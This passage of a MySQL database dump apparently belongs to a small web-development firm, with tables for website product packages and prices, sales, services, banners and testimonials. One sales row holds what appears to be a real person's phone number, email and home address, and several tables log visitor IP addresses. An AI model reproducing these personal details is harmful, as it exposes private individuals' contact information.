  `image` text NOT NULL,
  `order` varchar(10) NOT NULL,
  `mrp` varchar(50) NOT NULL,
  `sale_price` varchar(50) NOT NULL,
  `expenses` varchar(50) NOT NULL,
  `company` varchar(30) NOT NULL,
  `employee` varchar(30) NOT NULL,
  `description` text NOT NULL,
  `status` varchar(2) NOT NULL DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `product`
--

INSERT INTO `product` (`id`, `crdate`, `ip`, `heading`, `websitelink`, `image`, `order`, `mrp`, `sale_price`, `expenses`, `company`, `employee`, `description`, `status`) VALUES
(14, '2022-04-04 17:04:07', '124.123.189.', 'Village Websites', 'https://villageconnectindia.in/vasalamarri/', '1563874671image1046086534.jpg', '1', '24000', '20000', '2000', '8000', '8000', 'Innovative Village website - consisting of List of Villagers and Non Resident Villagers, Officials, Public Representatives. State Central Govt Schemes, beneficiary details, Latest updates. Village, Mandal, Assembly and Parliament, District and state details. Model Villages integration. Latest information on Agriculture, Animal Husbandry, Education, Tourism, Environment, Food, culture, Festivals and Innovations. Exemplary Villagers, Donations, Accounts, Media, Gallery and Events etc..., ', '1'),
(18, '2022-08-21 17:10:49', '49.206.49.57', 'Apartment Management Website', 'https://srsbsolutions.com/projects/apartment/', '1563872473image1665794096.jpg', '2', '8000', '6000', '1000', '2500', '2500', 'Apartment Administration made easy and affordable. Having the details of Blocks, Flats and Residents count. Information regarding Owners and Tenants and Residents along with family members with their contact details. Maintenance details in respect of Lifts, Water Tanks and Sumps, Generators and due date reminders. Complaint and resolve details. Collections of Maintenance charges and due reports and due reminders. Credit, Debit, Credit along with thorough Accounts along with Cash, Banks and FD reports. SMS, Mail Notifications. Association details. Events and Gallery provision.  ', '1'),
(19, '2020-02-22 13:08:13', '183.83.226.4', 'Colony Management Website', 'http//www.srsbsolutions.com', '1563882590image1498658385.jpg', '3', '8000', '6000', '1000', '2500', '2500', 'Colonies Administration made easy and affordable. Having the details of Road numbers, House Numbers and Residents count. Information regarding Owners and Tenants and total Residents along with family members with their contact details. Maintenance details in respect of assigned  and due date reminders. Complaint and resolve details. Collections of Maintenance charges and due reports and due reminders. Credit, Debit, Credit along with thorough Accounts along with Cash, Banks and FD reports. SMS, Mail Notifications. Association details. Events and Gallery provision.', '1'),
(20, '2020-02-22 13:11:16', '183.83.226.4', 'E-commerce & ERP Websites', 'http//www.srsbsolutions.com', '1563882900image697817859.jpg', '4', '15000', '10000', '2000', '4000', '4000', 'E-Commerce & ERP Solutions - E Commerce Websites and Software\'s for Retail, Fashion, Foods, Vegetables, Fruits, FMCG and Organic products. Thorough Order Management, Inventory Management, Accounts Management, Branch Applications, Bar code reading and writing, Payment Gateway integration, SMS and Mail notifications.  ', '1'),
(21, '2022-06-04 14:11:47', '85.114.119.1', 'School Management Website', 'http//www.srsbsolutions.com', '1654351907image1386432812.jpg', '5', '8000', '6000', '1000', '2500', '2500', 'Entire School Administration Solutions i.e.., Admissions, Attendance, Fees, Exams and Marks. Absent and Progress report to Parents, Accounting Management with due Reports. Teachers and Staff Management. Syllabus and class information. All alert notifications. Targeting the small private schools with the reasonable price. \r\n ', '1'),
(22, '2021-07-30 13:19:40', '49.206.35.10', 'My School Websites', 'http//www.srsbsolutions.com', '1627651180image2085366036.jpg', '5', '8000', '6000', '1000', '2500', '2500', 'My School Websites are designed as to donate to Govt Schools by any fast Student to take part in the School development as he he/she studied in that school. It will have the provisions of present student information class wise and Fast Student details. Present Teachers and Fast Teachers Details. School development status and notifications regarding the same. Motto of this website is to \"We Develop Our School\" .  ', '1'),
(23, '2020-02-22 13:08:43', '183.83.229.5', 'Hospital Management Website', 'http//www.srsbsolutions.com', '1563886939image840577374.jpg', '6', '25000', '20000', '2000', '9000', '9000', 'Entire Hospital Administration Software. Out patient and in patient information, admission details, Duty Doctors, Specialists information, visiting Doctors information, prescription and case status details. Employees details, Salary Details, Account Management, Inventory Management, Duty Reminders etc...,', '1'),
(24, '2020-02-22 13:10:16', '183.83.229.5', 'Fashion Websites', 'http//www.srsbsolutions.com', '1563903490image1919499403.jpg', '7', '15000', '12000', '2000', '5000', '5000', 'All kind of fashion websites for Men, Women and Kids clothing.', '1'),
(25, '2020-02-22 13:10:02', '183.83.225.1', 'Family Tree Websites', 'http//www.srsbsolutions.com', '1564220219image588556438.jpg', '8', '6000', '4000', '1000', '1500', '1500', 'Family Tree / Individual Websites - On individual name or on family name, to have entire family history, Celebrations, events, Gallery, provisions to display all photos and videos. To always keep valuable memories with them', '1'),
(26, '2020-02-22 13:09:49', '183.83.225.1', 'Matrinonial Websites', 'http//www.srsbsolutions.com', '1564241379image1016961386.jpg', '9', '15000', '12000', '2000', '5000', '5000', 'All kind of matrimonial websites', '1'),
(27, '2020-02-22 13:09:31', '183.83.225.1', 'Event Management Website', 'http//www.srsbsolutions.com', '1564248938image565574988.jpg', '10', '15000', '12000', '2000', '5000', '5000', 'Event Management Website', '1'),
(28, '2020-02-22 13:09:26', '183.83.224.8', 'Interior Design Websites', 'http://www.srsbsolutions.com', '1565073862image1902010358.jpg', '11', '15000', '12000', '2000', '5000', '5000', 'All kind of Interior Design websites', '1'),
(29, '2020-02-22 13:09:08', '183.83.224.8', 'Union Websites', 'http://www.srsbsolutions.com/admin', '1565193519image521571257.jpg', '12', '15000', '12000', '2000', '5000', '5000', 'All kind union websites', '1'),
(30, '2022-08-09 06:56:13', '124.123.185.', 'Food Websites', 'http://www.srsbsolutions.com', '1660028173image1908128961.jpg', '14', '15000', '12000', '2000', '5000', '50000', 'All kind of food websites', '1');

-- --------------------------------------------------------

--
-- Table structure for table `sales`
--

CREATE TABLE `sales` (
  `id` int(10) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(12) NOT NULL,
  `name` varchar(100) NOT NULL,
  `heading` varchar(50) NOT NULL,
  `mrp` varchar(50) NOT NULL,
  `sale_price` varchar(50) NOT NULL,
  `expenses` varchar(50) NOT NULL,
  `company` varchar(30) NOT NULL,
  `employee` varchar(30) NOT NULL,
  `description` text NOT NULL,
  `phone` varchar(20) NOT NULL,
  `email` varchar(50) NOT NULL,
  `customername` varchar(30) NOT NULL,
  `address` text NOT NULL,
  `status` enum('0','1') NOT NULL DEFAULT '0'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `sales`
--

INSERT INTO `sales` (`id`, `crdate`, `ip`, `name`, `heading`, `mrp`, `sale_price`, `expenses`, `company`, `employee`, `description`, `phone`, `email`, `customername`, `address`, `status`) VALUES
(27, '2019-07-05 10:32:56', '::1', '9', '15', '15000', '10000', '5000', '50000', '50000', 'test', '9177939275', 'raghu@gmail.com', 'raviteja', 'dilsuknagar\r\nchaithanyapuri', '0');

-- --------------------------------------------------------

--
-- Table structure for table `service`
--

CREATE TABLE `service` (
  `id` int(10) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(12) NOT NULL,
  `heading` varchar(100) NOT NULL,
  `description` text NOT NULL,
  `image` text NOT NULL,
  `status` varchar(2) NOT NULL DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `service`
--

INSERT INTO `service` (`id`, `crdate`, `ip`, `heading`, `description`, `image`, `status`) VALUES
(22, '2023-04-25 11:06:43', '117.98.199.2', 'WEB & SOFTWARE DEVELOPMENT', 'WEB & SOFTWARE DEVELOPMENT WEB & SOFTWARE DEVELOPMENT WEB & SOFTWARE DEVELOPMENT.', '1581596643image277349311.jpg', '1'),
(23, '2023-04-25 10:59:23', '117.98.199.2', 'E-COMMERCE SOLUTIONS', 'All natural products are clubbed with latest e commerce. All natural products are clubbed with latest e commerce. All natural products are clubbed with latest e commerce. All natural products are clubbed with latest e commerce. All natural products are clubbed with latest e commerce. All natural products are clubbed with latest e commerce. All natural products are clubbed with latest e commerce. All natural products are clubbed with latest e commerce. All natural products are clubbed with latest e commerce. All natural products are clubbed with latest e commerce.', '1682420363image1987842971.jpg', '1'),
(24, '2023-04-25 10:56:50', '117.98.199.2', 'BUSINESS SOLUTIONS', 'We provide all Business Solutions', '1682420210image788538061.jpg', '1');

-- --------------------------------------------------------

--
-- Table structure for table `socialmedia`
--

CREATE TABLE `socialmedia` (
  `id` int(11) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(200) NOT NULL,
  `heading` text NOT NULL,
  `link` varchar(100) NOT NULL,
  `status` enum('0','1') NOT NULL DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `socialmedia`
--

INSERT INTO `socialmedia` (`id`, `crdate`, `ip`, `heading`, `link`, `status`) VALUES
(1, '2019-07-20 10:25:25', '27.59.139.35', 'Facebook', 'https://www.facebook.com/', '1'),
(2, '2019-05-29 08:08:47', '::1', 'Twitter', 'https://twitter.com/', '1'),
(3, '2018-12-06 12:38:56', '127.0.0.1', 'Youtube', 'https://www.youtube.com/', '1'),
(4, '2018-12-06 12:39:02', '127.0.0.1', 'Linked In', 'https://www.linkedin.com/', '1'),
(5, '2018-12-06 12:39:09', '127.0.0.1', 'Google link', 'https://plus.google.com/', '1'),
(6, '2018-12-06 12:39:16', '127.0.0.1', 'Slide Share Link', 'https://www.rss.com/', '1'),
(7, '2018-12-06 12:39:24', '127.0.0.1', 'Rss Link', 'https://www.blogger.com/switch-profile.g?switchProfileSource=3&continue=http://www.blogger.com/home-', '1'),
(8, '2019-05-29 08:11:07', '127.0.0.1', 'pinterest', 'https://in.pinterest.com/', '1');

-- --------------------------------------------------------

--
-- Table structure for table `tbl_banners`
--

CREATE TABLE `tbl_banners` (
  `id` int(11) NOT NULL,
  `ip` varchar(100) NOT NULL,
  `cr_date` date NOT NULL,
  `info` varchar(256) NOT NULL,
  `title` varchar(256) NOT NULL,
  `sub_title` varchar(100) NOT NULL,
  `image` varchar(256) NOT NULL,
  `font_color` varchar(100) NOT NULL,
  `cat` varchar(10) NOT NULL,
  `status` varchar(2) NOT NULL DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `tbl_banners`
--

INSERT INTO `tbl_banners` (`id`, `ip`, `cr_date`, `info`, `title`, `sub_title`, `image`, `font_color`, `cat`, `status`) VALUES
(9, '183.83.227.147', '2019-07-20', 'brings you the innovative web and business solutions ', 'INNOVATIVE WEB DESIGNS', '', '1563631979image360962729.jpg', '', '3', '1'),
(10, '183.83.227.147', '2019-07-20', 'brings you the innovative web and business solutions ', 'PREPARED FOODS', '', '1563632286image1540195595.jpg', '', '4', '1'),
(12, '183.83.226.83', '2019-09-19', 'brings you the innovative web and business solutions ', 'FASHION ', '', '1563633300image2017547591.jpg', '', '6', '1'),
(13, '183.83.226.83', '2019-09-19', 'brings you the innovative web and business solutions ', 'INTERIOR', '', '1568902640image1764068840.jpg', '', '2', '1'),
(14, '183.83.226.83', '2019-09-19', 'brings you the innovative web and business solutions ', 'EVENT MANAGEMENT', '', '1568902729image43198865.jpg', '', '5', '1'),
(15, '183.83.226.83', '2019-09-19', 'brings you the innovative web and business solutions ', 'VILLAGE CRAFTS', '', '1568902920image773504105.jpg', '', '7', '1'),
(16, '183.83.226.83', '2019-09-19', 'brings you the innovative web and business solutions ', 'FERTILIZERS', '', '1568902956image466931963.jpg', '', '8', '1'),
(17, '183.83.226.83', '2019-09-19', 'brings you the innovative web and business solutions ', 'HANDLOOMS', '', '1568903850image2090652413.jpg', '', '10', '1'),
(18, '183.83.226.83', '2019-09-19', 'brings you the innovative web and business solutions ', 'PROPERTIES', '', '1568903908image850440108.jpg', '', '11', '1'),
(19, '114.124.161.181', '2020-08-18', '123', '123', '', '1597784435image18352313.jpg', '', '123123', '1');

-- --------------------------------------------------------

--
-- Table structure for table `testimonial`
--

CREATE TABLE `testimonial` (
  `id` int(10) NOT NULL,
  `crdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `ip` varchar(12) NOT NULL,
  `name` varchar(100) NOT NULL,
  `companyname` text NOT NULL,
  `image` text NOT NULL,
  `order` varchar(10) NOT NULL,
  `description` text NOT NULL,
  `status` varchar(2) NOT NULL DEFAULT '1'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `testimonial`
--

INSERT INTO `testimonial` (`id`, `crdate`, `ip`, `name`, `companyname`, `image`, `order`, `description`, `status`) VALUES
(5, '2019-06-18 09:49:56', '::1', 'santhosh', 'ssg', '1560851396image159356986.jpg', '1', 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam', '1'),
(6, '2022-01-03 13:48:31', '116.206.36.2', 'raviteja', 'mathrusri', '1641217711image2038900329.jpg', '2', 'web developer', '1');

--
-- Indexes for dumped tables
--

--
-- Indexes for table `about`
--
ALTER TABLE `about`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `contact`
--
ALTER TABLE `contact`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `contactinquiry`
--
ALTER TABLE `contactinquiry`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `employeepayment`
--
ALTER TABLE `employeepayment`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `enquiry`
--
ALTER TABLE `enquiry`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `gallery`
--
ALTER TABLE `gallery`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `logo`
--
ALTER TABLE `logo`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `metatags`
--
ALTER TABLE `metatags`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `portfolio`
--
ALTER TABLE `portfolio`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `product`
--
ALTER TABLE `product`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `sales`
--
ALTER TABLE `sales`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `service`
--
ALTER TABLE `service`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `socialmedia`
--
ALTER TABLE `socialmedia`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `tbl_banners`
--
ALTER TABLE `tbl_banners`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `testimonial`
--
ALTER TABLE `testimonial`
  ADD PRIMARY KEY (`id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `about`
--
ALTER TABLE `about`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `contact`
--
ALTER TABLE `contact`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `contactinquiry`
--
ALTER TABLE `contactinquiry`
  MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12;

--
-- AUTO_INCREMENT for table `employeepayment`
--
ALTER TABLE `employeepayment`
  MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=25;

--
-- AUTO_INCREMENT for table `enquiry`
--
ALTER TABLE `enquiry`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=9;

--
-- AUTO_INCREMENT for table `gallery`
--
ALTER TABLE `gallery`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=73;

--
-- AUTO_INCREMENT for table `logo`
--
ALTER TABLE `logo`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `metatags`
--
ALTER TABLE `metatags`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10;

--
-- AUTO_INCREMENT for table `portfolio`
--
ALTER TABLE `portfolio`
  MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=27;

--
-- AUTO_INCREMENT for table `product`
--
ALTER TABLE `product`
  MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=31;

--
-- AUTO_INCREMENT for table `sales`
--
ALTER TABLE `sales`
  MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=28;

--
-- AUTO_INCREMENT for table `service`
--
ALTER TABLE `service`
  MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=25;

--
-- AUTO_INCREMENT for table `socialmedia`
--
ALTER TABLE `socialmedia`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=9;

--
-- AUTO_INCREMENT for table `tbl_banners`
--
ALTER TABLE `tbl_banners`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=20;

--
-- AUTO_INCREMENT for table `testimonial`
--
ALTER TABLE `testimonial`
  MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7;
COMMIT;

